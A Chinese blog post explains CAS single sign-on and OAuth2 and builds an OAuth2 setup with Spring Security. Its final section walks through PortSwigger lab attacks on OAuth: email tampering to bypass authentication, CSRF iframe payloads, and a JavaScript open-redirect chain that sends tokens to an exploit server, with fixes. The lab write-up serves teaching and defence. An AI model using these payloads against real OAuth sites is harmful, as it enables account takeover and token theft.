一、CAS协议

单点登录SSO(Single Sign ON),指在多个应用系统中,只需登录一次,即可在多个应用系统之间共享登录。如:在学校登录了OA系统,再打开科研、教务系统,都会实现自动登录。

        统一身份认证CAS(Central Authentication Service)是SSO的开源实现,利用CAS实现SSO可以很大程度的降低开发和维护的成本。PS:CAS是由耶鲁大学发起的企业级开源项目,历经20多年的完善,具有较高的稳定性、安全性。国内多数高校的SSO都基于CAS。

        CAS由CAS Server和CAS Client两部分组成。

1.    CAS Server:单点验证服务器。以北师大为例,其CAS Server为cas.bnu.edu.cn

2.    CAS Client:共享CAS Server登录态的客户端。如:人事系统(rs.bnu.edu.cn)、研究生系统(graduate.bnu.edu.cn)、科研系统(kygl.bnu.edu.cn)

        CAS三个重要术语:TGT(Ticket Granting Ticket)、TGC(Ticket Granting Cookie)和ST(Service Ticket)。

1.    TGT为用户登录后生成的票根,包含用户的认证身份、有效期等,存储于CAS Server中,类似于服务器会话。

2.    TGC存储于cookie中,类似于会话ID,用户与CAS Server交互时,帮助用户查找相应的TGT。

3.    ST为CAS Server签发的一张一次性票据,CAS Client使用ST与CAS Server进行交互,获取用户的验证状态。

        CAS单点登录的完成流程如下:

1.    用户通过浏览器访问CAS Client的某个界面,如访问研究生管理信息系统(graduate.bnu.edu.cn)。

2.    当CAS Client判断用户需要进行身份认证时,携带service返回302状态码,指示浏览器重定向到CAS Server,如:https://cas.bnu.edu.cn?service=https://graduate.bnu.edu.cn。service指向用户原访问的页面。

3.    浏览器携service重定向到CAS Server。

4.    CAS Server获取并校验用户cookie中携带的TGC,若成功则身份认证成功;否则将用户重定向到CAS Server提供的登录页,如:https://cas.bnu.edu.cn/login?service=https://graduate.bnu.edu.cn,由用户输入用户名、密码,再完成身份认证。

5.    若用户之前登录过系统,那么CAS Server可以获取用户的TGC,根据TGC获取TGT。若首次登录,则CAS Server会首先生成TGT。每次验证,CAS Server根据TGT签发一个ST,然后把ST拼接到service中,同时将相应TGC设置到用户cookie中(域为 CAS Server),并返回302状态码,指示浏览器重定向到service,如:https://graduate.bnu.edu.cn?ticket=xxxxxxxxxxxx

6.    浏览器存储TGC,并携带ST重定向到service。

7.    CAS Client取得ST(即请求参数的ticket)后,会向CAS Server请求验证该ST的有效性。

8.    若CAS Server验证该ST有效,就告知CASClient该用户有效,并返回该用户信息。如工号、学号。CAS Client获取用户信息后,可以使用session的形式管理用户会话。后续的交互请求无需再重定向到CAS Server,CAS Client直接返回用户请求的资源即可。

        CAS Client获取用户信息后,可以使用session的形式管理用户会话。后续的交互请求无需再重定向到CAS Server,CAS Client直接返回用户请求的资源即可。

二、OAuth2协议

--- 转自 实战:画了几张图,终于把OAuth2搞清楚了 (qq.com)https://mp.weixin.qq.com/s?__biz=MzkzODE3OTI0Ng==&mid=2247509248&idx=1&sn=07bafa12d5a94e4c3fd391b0242843db&chksm=c286cac1f5f143d7eaa1c12da4c748f1d61fd3488e81a51cd663285a5071dcea54a559d46e48#rd

OAuth是一个关于授权(authorization)的开放网络标准,用来授权第三方应用获取用户数据,是目前最流行的授权机制,它当前的版本是2.0。

应用场景

假如你正在“网站A”上冲浪,看到一篇帖子表示非常喜欢,当你情不自禁的想要点赞时,它会提示你进行登录操作。

打开登录页面你会发现,除了最简单的账户密码登录外,还为我们提供了微博、微信、QQ等快捷登录方式。假设选择了快捷登录,它会提示我们扫码或者输入账号密码进行登录。

登录成功之后便会将QQ/微信的昵称和头像等信息回填到“网站A”中,此时你就可以进行点赞操作了。

名词定义

在详细讲解oauth2之前,我们先来了解一下它里边用到的名词定义吧:

  • Client:客户端,它本身不会存储用户快捷登录的账号和密码,只是通过资源拥有者的授权去请求资源服务器的资源,即例子中的网站A;

  • Resource Owner:资源拥有者,通常是用户,即例子中拥有QQ/微信账号的用户;

  • Authorization Server:认证服务器,可以提供身份认证和用户授权的服务器,即给客户端颁发token和校验token

  • Resource Server:资源服务器,存储用户资源的服务器,即例子中的QQ/微信存储的用户信息。

认证流程

如图是oauth2官网的认证流程图,我们来分析一下:

  • A客户端向资源拥有者发送授权申请;

  • B资源拥有者同意客户端的授权,返回授权码;

  • C客户端使用授权码向认证服务器申请令牌token

  • D认证服务器对客户端进行身份校验,认证通过后发放令牌;

  • E客户端拿着认证服务器颁发的令牌去资源服务器请求资源;

  • F资源服务器校验令牌的有效性,返回给客户端资源信息;

实战

在正式开始搭建项目之前我们先来做一些准备工作:要想使用oauth2的服务,我们得先创建几张表。

数据库

oauth2相关的建表语句可以参考官方初始化sql

至于表结构,大家可以先大体了解下,其中字段的含义,在init.sql文件中阿Q已经做了说明。

  • oauth_client_details:存储客户端的配置信息,操作该表的类主要是JdbcClientDetailsService.java

  • oauth_access_token:存储生成的令牌信息,操作该表的类主要是JdbcTokenStore.java

  • oauth_client_token:在客户端系统中存储从服务端获取的令牌数据,操作该表的类主要是JdbcClientDetailsService.java

  • oauth_code:存储授权码信息与认证信息,即只有grant_typeauthorization_code时,该表才会有数据,操作该表的类主要是JdbcAuthorizationCodeServices.java

  • oauth_approvals:存储用户的授权信息;

  • oauth_refresh_token:存储刷新令牌的refresh_token,如果客户端的grant_type不支持refresh_token,那么不会用到这张表,操作该表的类主要是JdbcTokenStore

oauth_client_details表中添加一条数据

 数据库中对密码进行了加密处理,大家可以在此路径下自行生成

用户角色相关的表也在init.sql文件中,表结构非常简单,大家自行查阅。我的初始化数据为

依赖引入

 至于其它依赖,大家可以根据需要自行引入。

资源服务

配置文件对服务端口、应用名称、数据库mybatis和日志进行了配置。

写了一个简单的控制层代码,用来模拟资源访问

接着创建配置类继承ResourceServerConfigurerAdapter并增加@EnableResourceServer注解开启资源服务,重写两个configure方法

 当然我们也可以配置忽略校验的url,在上边的public void configure(HttpSecurity http) throws Exception中进行配置

因为我们是需要进行校验的,所以我把对应的代码给注释掉了

然后将实现了UserDetailsSysUser和实现了GrantedAuthoritySysRole放到项目中,当请求发过来时,oauth2会帮我们自行校验。

认证服务

配置文件对服务端口、应用名称、数据库mybatis和日志进行了配置。

Security配置

还是和之前Security+JWT组合拳的配置大同小异,不了解的可以先看下该文。

①将继承了UserDetailsServiceISysUserService的实现类SysUserServiceImpl重写loadUserByUsername方法

 

②继承WebSecurityConfigurerAdapter类,增加@EnableWebSecurity注解并重写方法

 

 

AuthorizationServer配置

①继承AuthorizationServerConfigurerAdapter类,增加@EnableAuthorizationServer注解开启认证服务

②依赖注入,注入7个实例Bean对象

 ③重写方法进行配置

 

 其它关于用户表和权限表的代码可参考源码。

模式

授权码模式

我们前边所讲的内容都是基于授权码模式,授权码模式被称为最安全的一种模式,它获取令牌的操作是在两个服务端进行的,极大的减小了令牌泄漏的风险。

启动两个服务,当我们再次请求127.0.0.1:9002/product/findAll接口时会提示以下错误

①调用接口获取授权码

发送127.0.0.1:9001/oauth/authorize?response_type=code&client_id=cheetah_one请求,前边的路径是固定形式的,response_type=code表示获取授权码,client_id=cheetah_one表示客户端的名称是我们数据库配置的数据。

该页面是oauth2的默认页面,输入用户的账户密码点击登录会提示我们进行授权,这是数据库oauth_client_details表我们设置autoapprovefalse起到的效果。

选择Approve点击Authorize按钮,会发现我们设置的回调地址(oauth_client_details表中的web_server_redirect_uri)后边拼接了code值,该值就是授权码。

查看数据库发现oauth_approvalsoauth_code表已经存入数据了。

拿着授权码去获取token

获取到token之后oauth_access_tokenoauth_refresh_token表中会存入数据以用于后边的认证。而oauth_code表中的数据被清除了,这是因为code值是直接暴漏在网页链接上的,oauth2为了防止他人拿到code非法请求而特意设置为仅用一次。

拿着获取到的token去请求资源服务的接口,此时有两种请求方式

接下来我们再来看一下oauth2的其它模式。

简化模式

所谓简化模式是针对授权码模式进行的简化,它将授权码模式中获取授权码的步骤省略了,直接去请求获取token

流程:发送请求127.0.0.1:9001/oauth/authorize?response_type=token&client_id=cheetah_one跳转到登录页进行登录,response_type=token表示获取token

输入账号密码登录之后会直接在浏览器返回token,我们就可以像授权码方式一样携带token去请求资源了。

该模式的弊端就是token直接暴漏在浏览器中,非常不安全,不建议使用

密码模式

密码模式下,用户需要将账户和密码提供给客户端向认证服务器申请令牌,所以该种模式需要用户高度信任客户端。

流程:请求如下

获取成功之后可以去访问资源了。

客户端模式

客户端模式已经不太属于oauth2的范畴了,用户直接在客户端进行注册,然后客户端去认证服务器获取令牌时不需要携带用户信息,完全脱离了用户,也就不存在授权问题了。

发送请求如下

获取成功之后可以去访问资源了。

刷新token

权限校验

除了我们在数据库中为客户端配置资源服务外,我们还可以动态的给用户分配接口的权限。

①开启Security内置的动态配置

在开启资源服务时给ResourceServerConfig类增加注解@EnableGlobalMethodSecurity(securedEnabled = true,prePostEnabled = true)

②给接口增加权限

 

 ③在用户登录时设置用户权限

 然后测试会发现可以正常访问。

踩坑

(1)包名问题

当我在创建项目的时候,给productserver两个模块设置了不同的包名,导致发送请求获取资源时报错。

经过分析得知,在登录账号时会将用户的信息存储到oauth_access_token表的authentication中,在进行token校验时会根据token_id取出该字段进行反序列化,如果此时发现包名不一致便会导致解析token失败,因此请求资源失败。

解决思路

  • 两个项目的包名改为一致;

  • 可以将用户和权限的实体抽成单独的模块,供其它模块引用;

  • loadUserByUsername方法中使用的用户实体类不需要继承UserDetailsService类,每次返回时用user类包装一下即可;

(2)数据库问题

当我在进行权限校验测试时,在设置权限时发现少打了一个单词,导致请求一直出错。修改完成之后继续请求,仍提示权限不足。

于是我将数据库oauth_refresh_tokenoauth_access_token的数据清除,重新开始测试就可以了。

个人认为是生成token时发现数据库token存在,故不刷新token,但进行校验时却用带有权限标识的token前去校验导致失败。

至于其它的小坑在这不再赘述,如果遇到问题,建议按照流程对比我的源码仔细检查。

源代码在这里:

链接:https://pan.baidu.com/s/1FKT_DalYmyIPGrCJzwDPMQ 
提取码:59lf

小结

本文从原理、应用场景、认证流程出发,对oauth2进行了基本的讲解,并且手把手带大家完成了项目的搭建。大家在对授权码模式、简化模式、密码模式、客户端模式进行测试的同时要将重点放到授权码模式上。

三、CAS与OAuth2的区别

1、CAS的单点登录时保障客户端的用户资源的安全 。

  OAuth2则是保障服务端的用户资源的安全 。

2、CAS客户端要获取的最终信息是,这个用户到底有没有权限访问我(CAS客户端)的资源。

  OAuth2获取的最终信息是,我(oauth2服务提供方)的用户的资源到底能不能让你(oauth2的客户端)访问。

3、CAS的单点登录,资源都在客户端这边,不在CAS的服务器那一方。 用户在给CAS服务端提供了用户名密码后,作为CAS客户端并不知道这件事。 随便给客户端个ST(Service Ticket),那么客户端是不能确定这个ST是用户伪造还是真的有效,所以要拿着这个ST去服务端再问一下,这个用户给我的是有效的ST还是无效的ST,是有效的我才能让这个用户访问。

  OAuth2认证,资源都在OAuth2服务提供者那一方,客户端是想索取用户的资源。 所以在最安全的模式下,用户授权之后,服务端并不能直接返回token,通过重定向送给客户端,因为这个token有可能被黑客截获,如果黑客截获了这个token,那用户的资源也就暴露在这个黑客之下了。 于是聪明的服务端发送了一个认证code给客户端(通过重定向),客户端在后台,通过https的方式,用这个code,以及另一串客户端和服务端预先商量好的密码,才能获取到token和刷新token,这个过程是非常安全的。 如果黑客截获了code,他没有那串预先商量好的密码,他也是无法获取token的。这样oauth2就能保证请求资源这件事,是用户同意的,客户端也是被认可的,可以放心的把资源发给这个客户端了。

4、小结:cas登录和OAuth2在流程上的最大区别就是,通过ST或者code去认证的时候,需不需要预先商量好的密码。

四、OAuth 2.0认证缺陷分析

(一)授权服务器认证绕过

完成正常登录,获取第三方资源,假设获取第三方资源,通过一个用户的邮箱、用户ID来标识,但是第三方资源授权处没有很好的进行认证,则可以修改成其他用户的邮箱、ID,来获取其他用户的信息。具体步骤如下所示(只选取关键的请求报文演示过程):

1、重定向报文中,可以看到,使用的response_type为token,也就是implicit模式

GET /auth?client_id=aa5n3gw356du1ltuk7cxk&redirect_uri=https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback&response_type=token&nonce=1089005696&scope=openid%20profile%20email HTTP/1.1
Host: ac2c1f1c1ee989d280ae055902300066.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

2. 完成认证过程,响应报文中返回access token,并重定向到client app

HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=r3YiTute_9gkHb1KEVRf2; path=/interaction/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=r3YiTute_9gkHb1KEVRf2; path=/auth/r3YiTute_9gkHb1KEVRf2; expires=Thu, 24 Jun 2021 01:47:43 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=eeDlIZYnWn4HAQToec1k8; path=/; expires=Thu, 08 Jul 2021 01:37:43 GMT; secure; httponly
Location: /interaction/r3YiTute_9gkHb1KEVRf2
Content-Type: text/html; charset=utf-8
Date: Thu, 24 Jun 2021 01:37:43 GMT
Connection: close
Content-Length: 99
​
Redirecting to <a href="/interaction/r3YiTute_9gkHb1KEVRf2">/interaction/r3YiTute_9gkHb1KEVRf2</a>.

完成正常登录流程后,用户wiener成功登录。

3.分析资源请求报文,用户携带access token以及当前用户的邮箱向client app resource server获取资源,此时resource server存在认证缺陷,只通过邮箱信息来认证用户,就可以通过篡改邮箱的方式来获取其他用户的信息。

POST /authenticate HTTP/1.1
Host: ac971f231ef0890a8024057c00490099.web-security-academy.net
Connection: close
Content-Length: 111
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/json
Origin: https://ac971f231ef0890a8024057c00490099.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac971f231ef0890a8024057c00490099.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=OljMk8cU2eUQrGgpijmnO9GrJYuJ6AfC
​
{"email":"carlos@carlos-montoya.net","username":"wiener","token":"HjjzNFAiUeBUiMlHxBQjBFJZ-RwpDtv_bc7rZV46L_o"}

将此请求在原始的session中进行重放,可以发现成功以其他用户登录。

(二) CSRF关联账号

该安全问题结合CSRF利用姿势,将自己的第三方账号信息和受害者的client app账号进行关联,导致可以用非法的第三方账号,登录受害者client app账号,此攻击发生在authorization code 授权模式中,其步骤如下所示(只选取关键的请求报文演示漏洞危害):

1、执行正常登录的流程,直到步获取到一个带auth code的url(在实验环境中是/oauth-linking?code=[...])截取这个url,终止下一步的请求访问,在此步骤中将获取到一个有效的auth code,如下请求所示,获取到了一个有效的auth code

GET /oauth-linking?code=4UjF5el_NCqqDhCFMqzD3IcBRT4lp3azF01xwtEArtz HTTP/1.1
Host: acab1ff81ebb348a800210f9001a0020.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acab1ff81ebb348a800210f9001a0020.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=SayAHJbeFtbILtd7TzktpTA3NyIFJ5Qy

2、构造一个CSRF报文,其中的url使用上一步的url(注意需要保证上一步的auth code没有被使用,且没有过期)

<iframe src="https://acab1ff81ebb348a800210f9001a0020.web-security-academy.net/oauth-linking?code=4UjF5el_NCqqDhCFMqzD3IcBRT4lp3azF01xwtEArtz"></iframe>

3、将这个请求发送给受害者,受害者请求该链接后,会接着第一步进行未完成OAuth flow流程,从而将受害者的账号和非法账号进行关联。

修复方案:

在client app的重定向请求中/auth?clientid=[]redirect_url=[] 添加state参数,在用户向client app提交auth code响应的请求中同样带上之前的state参数,此时client app验证state参数的一致性,从而防止了此类攻击。

(三) CSRF获取敏感信息

该方式也需要借助CSRF来实现。截取步骤一中的重定向请求url,修改redirect_url为恶意服务器url。构造CSRF EXP,EXP中的其中url为上一步的构造的url,欺骗受害者点击该EXP,当受害者在登录状态,发送该请求后,会在恶意服务器获取到redirect_url携带的token。步骤如下所示(只选取关键的请求报文演示漏洞危害):

1、正常登录应用,截取重定向请求url,其中的redirect_url是关键参数,在下一步响应中,会重定向至该链接并携带auth token

GET /auth?client_id=h1sg1k429hsf5z76pgjjo&redirect_uri=https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: acde1f8f1ec589b080151c8d0284009b.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://ac8f1f9d1ee7897d800c1c0600aa009f.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _session=YjUnuiZgMyzGo5tBcVTSh; _session.legacy=YjUnuiZgMyzGo5tBcVTSh

2、修改redirect_url为非法的url,并构造EXP,这里修改url为攻击者部署恶意url。

<iframe src="https://acde1f8f1ec589b080151c8d0284009b.web-security-academy.net/auth?client_id=h1sg1k429hsf5z76pgjjo&redirect_uri=https://ac231f381e058972808c1c49016200cc.web-security-academy.net/exploit&response_type=code&scope=openid%20profile%20email"></iframe>

3、发送构造的EXP给受害者,通过access log观察结果,可以看到成功获取到了受害者的auth token。 

修复方案:在认证服务器上对redirect_url进行校验 但是也有一些方法可以进行绕过:比如参数污染、ssrf漏洞中的urlbypass思路、或者注册这样的localhost.evil-user.net域名

(四) 通过开放重定向获取敏感信息

继续通过redirect_url获取auth code的场景,但是在认证服务器上对redirect_url进行了校验,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,结合CSRF的利用姿势可以达到获取auth code的目的。

步骤如下所示(只选取关键的请求报文演示漏洞危害): 1、寻找open redirect漏洞 在client app找到这样一个url,是存在open redirect漏洞的。

https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/post/next?path=

在参数path后接任意的url,都可以重定向至该url,因此可以利用该方式来延续上一节的方式。 2、构造URL,和上一节一样,寻找重定向认证请求的url,重新设置redirect url参数,url如下所示

https://ac341f301e6b7dff808d088e02810062.web-security-academy.net/auth?client_id=aqs19gz1q5ifc5lx06u1u&redirect_uri=https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/oauth-callback/../post/next?path=https://acf91fe41e6b7d4d80c408fa018c0034.web-security-academy.net/exploit&response_type=token&nonce=-535270160&scope=openid%20profile%20email

3、构造EXP

<script>
  if (!document.location.hash) {
    window.location = 'https://ac341f301e6b7dff808d088e02810062.web-security-academy.net/auth?client_id=aqs19gz1q5ifc5lx06u1u&redirect_uri=https://acdc1fc11e957db48049088c005c0046.web-security-academy.net/oauth-callback/../post/next?path=https://acf91fe41e6b7d4d80c408fa018c0034.web-security-academy.net/exploit&response_type=token&nonce=-535270160&scope=openid%20profile%20email'
  } else {
    window.location = '/?'+document.location.hash.substr(1)
  }
</script>

4、检查access log,可以获取到auth code。

修复方案:

在authorization code 模式中,可以设计认证服务器对第一次认证请求提交的redirect_url参数,同时要求通过auth code获取access token的步骤中,同时提交redirect url,由于此时的通信过程是服务端到服务端的,攻击者无法伪造,认证服务器再将url和初始的收到redirect url进行比对,就保证了该攻击无法进行。

(五)OAuth2.0 漏洞防御总结

防御OAuth2.0漏洞,需要从client和Authorization Server两方面入手,无论是什么授权模式,均有可能通过client端或Authorization Server实施不当引起安全漏洞。因此在设计上,需要开发者严格实施OAuth2.0 安全功能模块。

5.1 Authorization Server防御总结

使用白名单验证redirect_url参数

验证是否使用state参数

验证access token和client_id是否匹配,同时在资源请求中同时验证access token的访问范围

5.2 client 端防御总结

使用state参数

修复client端的开放重定向漏洞,防止在Referer头中泄露auth code

同时向/token 和 /authorization 端发送redirect_uri参数

参考文献:

1、https://portswigger.net/web-security/oauth/preventing

2、http://oauth.net/2/

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐